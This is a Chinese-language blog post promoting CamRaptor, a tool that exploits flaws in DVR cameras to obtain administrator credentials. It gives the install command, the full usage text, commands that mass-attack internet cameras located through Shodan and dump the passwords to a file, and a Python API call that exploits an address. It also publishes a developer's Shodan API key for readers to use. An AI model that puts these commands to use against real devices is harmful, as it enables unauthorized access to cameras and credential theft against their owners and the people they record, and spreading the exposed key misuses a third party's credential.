CamRaptor 一款针对DVR摄像头的漏洞利用工具

2021年8月4日 30点热度 0人点赞 0条评论

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关于CamRaptor

CamRaptor是一款针对DVR摄像头的漏洞利用工具,它可以利用当前主流DVR摄像头中的多个安全漏洞,帮助广大研究人员获取目标DVR网络摄像头的管理员凭证。

功能介绍

能够利用当前主流DVR摄像头中的多个安全漏洞,例如Novo、CeNova和QSee等。

经过优化处理,支持以多线程的形式同时攻击列表中的多个目标DVR摄像头。

简单的命令行接口和API使用方法。

工具安装

由于CamRaptor使用Python3开发,因此首先需要在本地设备上安装并配置好Python3环境。接下来,广大研究人员可以使用下列命令下载并安装CamRaptor:

pip3 install git+https://github.com/EntySec/CamRaptor

工具基础使用

CamRaptor的使用非常简单,我们只需要在命令行终端中输入“camraptor”命令即可使用CamRaptor:

usage: camraptor [-h] [-t] [-o OUTPUT] [-i INPUT] [-a ADDRESS]

                 [--shodan SHODAN] [--zoomeye ZOOMEYE] [-p PAGES]

 

CamRaptor is a tool that exploits several vulnerabilities in popular DVR

cameras to obtain network camera credentials.

 

optional arguments:

  -h, --help            显示这个帮助信息并退出

  -t, --threads         启用多线程模式以获得更好的性能

  -o OUTPUT, --output OUTPUT

                        将结果存储至文件

  -i INPUT, --input INPUT

                        地址输入文件

  -a ADDRESS, --address ADDRESS

                        提供单个地址

  --shodan SHODAN       通过网络利用远程设备所使用的Shodan API密钥

  --zoomeye ZOOMEYE     通过网络利用远程设备所使用的ZoomEye API密钥

  -p PAGES, --pages PAGES

                        需要通过ZoomEye获取的页面数量

工具使用样例

攻击单个摄像头

下列命令可以攻击单个DVR摄像头:

camraptor -a 192.168.99.100

通过网络攻击远程DVR摄像头

接下来,我们可以使用Shodan搜索引擎来搜索并攻击网络上的摄像头,此时我们可以使用-t参数来设置多线程数量以获得更好的性能:

camraptor -t --shodan PSKINdQe1GyxGgecYz2191H2JoS9qvgD

注意:项目中给出的Shodan API密钥(PSKINdQe1GyxGgecYz2191H2JoS9qvgD)是开发人员自己的专业版API密钥,你可以使用你自己的密钥,当然了你想用开发人员的也没意见,大家资源共享嘛!

从输入文件获取目标摄像头

我们还可以使用开放数据库中提供的摄像头地址,此时我们可以使用-t参数来设置多线程数量以获得更好的性能:

camraptor -t -i cameras.txt -o passwords.txt

注意:此命令将会攻击cameras.txt中给出的所有摄像头,并会将所有获取到的密码存储至passwords.txt文件中。

API使用

CamRaptor还提供了自己的Python API,可以将其导入至你们自己的项目代码中并调用其功能:

from camraptor import CamRaptor

基础函数

exploit(address):根据给定的地址针对单个目标执行漏洞利用攻击;

调用样例

攻击单个摄像头:

from camraptor import CamRaptor
camraptor = CamRaptor()
creds = camraptor.exploit('192.168.99.100')
print(creds)

项目地址

CamRaptor:GitHub传送门

Admin

这个人很懒,什么都没留下

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